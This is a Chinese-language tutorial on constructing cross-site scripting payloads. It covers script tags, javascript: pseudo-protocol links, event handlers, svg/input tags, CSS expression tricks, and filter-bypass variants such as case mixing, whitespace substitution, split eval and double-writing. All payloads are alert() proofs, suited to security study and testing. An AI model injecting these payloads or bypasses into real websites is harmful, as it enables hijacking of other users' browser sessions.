XSS 语句的构造
[第一节]利用[<>]构造HTML/JS
[第二节]伪协议—使用javascript: 伪协议的方式构造XSS
[第三节]产生自己的事件
[第四节] XSS 的变形
[第五节]其他标签以及手法
[第六节]利用CSS 跨站(old)
第一节 利用[<>]构造HTML/JS
可以利用[<>] 构造HTML 标签和<script> 标签。
在测试页面提交参数[<h1 style='color:red'>
利用[<>]构造HTML/JS</h1>] 提交[<script>alert(/xss/)</script>]
第二节 伪协议
可以使用javascript: 伪协议的方式构造XSS
提交参数[<a href="javascript:alert(/xss/)">touch me!</a>],然后点击超链接,即可触发XSS。
也可以使用img 标签的伪协议,但是这种方法在IE6 下测试成功。
[<img src="javascript:alert('xss')">]
第三节 产生自己的事件
"事件驱动"是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS 可以对这些时间进行响应。
所以我们可以通过事件触发JS 函数,触发XSS。
事件种类
windows 事件-------------对windows 对象触发的事件
Form 事件----------------HTML 表单内的动作触发事件
Keyboard 事件------------键盘按键
Mouse 事件---------------由鼠标或类似用户动作触发的事件
Media 事件------------由多媒体触发的事件
如:[<img src='./smile.jpg' onmouseover='alert(/xss/)'>]
这个标签会引入一个图片,然后鼠标悬停在图片上的时候,
会触发XSS 代码。
单行文本框的键盘点击事件,
[<input type="text" onkeydown="alert(/xss/)">],当点击键盘任意一个按键的时候触发。
第四节 XSS 的变形
[1.] 大小写转换
[2.] 引号的使用
[3.][/]代替空格
[4.] 回车
[5.] 对标签属性值进行转码
[6.] 双写绕过
我们可以构造的XSS 代码进行各种变形,以绕过XSS 过滤器的检测。变形方式主要有以下几种
1.大小写转换
可以将payload 进行大小写转化。如下面两个例子。
<Img sRc='#' Onerror="alert(/xss/)" />
<a hREf="javaScript:alert(/xss/)">click me</a>
2. 引号的使用
HTML 语言中对引号的使用不敏感,但是某些过滤函数是“锱铢必较”。
<img src="#" onerror="alert(/xss/)"/>
<img src='#' onerror='alert(/xss/)'/>
<img src=# onerror=alert(/xss/) />
3. [/]代替空格
可以利用左斜线代替空格
<Img/sRc='#'/Onerror='alert(/xss/)' />
4. 回车
我们可以在一些位置添加Tab(水平制表符)和回车符,来绕过关键字检测。
<Img/sRc='#'/Onerror ='alert(/xss/)' />
<A hREf="javascript:alert(/xss/)">click me!</a>
5. 对标签属性值进行转码
可以对标签属性值进行转码,用来绕过过滤。对应编码如下
经过简单编码之后的样子。
<A hREf="javascript:alert(/xss/)">click me!</a>
<A hREf="javas	c r ipt:alert(/xss/)">
click me!
</a>
6. 拆分跨站
<script>z='alert'</script>
<script>z=z+'(/xss/)'</script>
<script>eval(z)</script>
7. 双写绕过
<script>
<scr<script>ipt>
8. 使用全角字符
width:expression(alert(/xss/))
9.注释会被浏览器忽略
width:expr/**/ession(alert(/xs~s/))
10.样式表中的[] 和[\0]
第五节 其他标签以及手法
可以用其他标签触发XSS。
[<svg onload="alert(/xss/)">] 这个语句还是比较简洁的。
[<input onfocus=alert(/xss/) autofocus>]
标题第六节 利用CSS 跨站(old)
1 .行内样式
[<div style="background-image:url(javascript:alert(/xss/))">]
2 .页内样式
[<style>Body{background-image:url(javascript:alert(/xss/))}</style>]
3.外部样式
[<link rel="stylesheet" type="text/css" href="./xss.css"><div>hello<div>]
xss.css 文件内容如下
----------------------------------------------------------------- h1 {
color:red; } div {
/width:expression(alert(/xss/))/
background-image:url(javascript:alert(/xss/)) }
4. expression
[<div style="width:expression(alert(/xss/))">]
[<style>Body{background-image:expression(alert(/xss/));}</style>]
5 import
[<style>@import 'javascript:alert("xss")';</style>]
[<style type="text/css">@import url(xss.css);</style><div>AJEST</div>]